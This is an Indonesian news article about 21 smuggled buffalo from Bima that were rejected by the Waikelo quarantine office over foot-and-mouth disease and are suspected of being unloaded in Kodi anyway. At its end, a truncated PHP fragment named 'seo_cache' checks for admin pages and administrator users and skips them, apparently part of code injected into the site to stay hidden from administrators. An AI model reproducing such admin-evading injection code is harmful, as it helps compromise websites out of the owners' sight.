Hukum

Jika Benar Dugaan Perahu Pengangkut 21 Ekor Kerbau Selundupan Asal Bima, NTB Balik Arah ke Kodi maka Nakhoda yang Tanggung Jawab

×

Jika Benar Dugaan Perahu Pengangkut 21 Ekor Kerbau Selundupan Asal Bima, NTB Balik Arah ke Kodi maka Nakhoda yang Tanggung Jawab

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Dugaan jika perahu pengangkut kerbau asal Bima yang ditolak pihak Karantina Waikelo tetap bongkar muatan pada salah satu pelabuhan tikus di Kodi mengemuka.

Informasi akurat dari berbagai sumber bahkan menyebut jika sebagian dari kerbau itu telah digunakan dalam hajatan pesta adat.

Kepala Karantina Satuan Pelayanan Waikelo, drh Vera Lobo. ( Foto Menara Sumba )

Sejumlah awak media yang mendapat informasi ini pun mewawancarai pihak Karantina Satuan Pelayanan Waikelo yang mengeksekusi penolakan terhadap ternak asal daerah zona kuning penyakit mulut dan kuku (PMK) ini.

Ditemui, Senin (27/10/2025), Kepala Karantina Satuan Pelayanan Waikelo, drh Vera Lobo menegaskan, penolakan merupakan alternatif terbaik untuk mencegah masuknya PMK di SBD.

“Kalau dimusnahkan sangat beresiko karena ternaknya harus diturunkan di darat,” ungkapnya.

Dalam Surat Edaran Kepala Badan Karantina Indonesia Nomor 620 tentang Kewaspadaan Penyebaran Penyakit Mulut dan Kuku melarang ternak dari daerah zona merah dan kuning masuk ke daerah zona hijau.

Provinsi NTB, kata Vera, sudah ditetapkan sebagai zona kuning PMK, sedangkan Provinsi NTT masih aman dengan predikat zona hijau.

“Jadi otomatis kalau sudah dinyatakan NTB itu zona kuning, maka kita di wilayah zona hijau harus menolak masuknya kerbau itu,” jelasnya.

Menurut Vera, pihaknya tidak bisa memastikan apakah 21 ekor kerbau yang ditolak itu tiba di tempat asal, Bima, NTB.

Namun ada jaminan hukum tertulis yakni berita acara penolakan dan surat pernyataan nakhoda yang ditandatangani di atas meterai.

Dalam pernyataan itu nakhoda menyatakan akan membawa pulang ternak-ternak itu ke daerah asal, dan jika dilanggar akan berurusan dengan hukum.

“Kami juga telah menegaskan agar sesampainya di sana nakhoda ini melaporkan kepada teman-teman petugas Karantina NTB,” imbuhnya lagi.

Ia menyebut, pihaknya punya batas kewenangan untuk memberi penjelasan terkait pengawasan selanjutnya di daerah asal ternak.

Karantina Satuan Pelayanan Waikelo hanya mengaturnya secara teknis lewat proses administrasi penolakan.

“Tapi kalau terkait penyidikan dan seterusnya itu nanti rekan-rekan media bisa konfirmasi langsung dengan Kepala Balai Karantina Kupang selaku pimpinan kami,” pungkas Vera. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>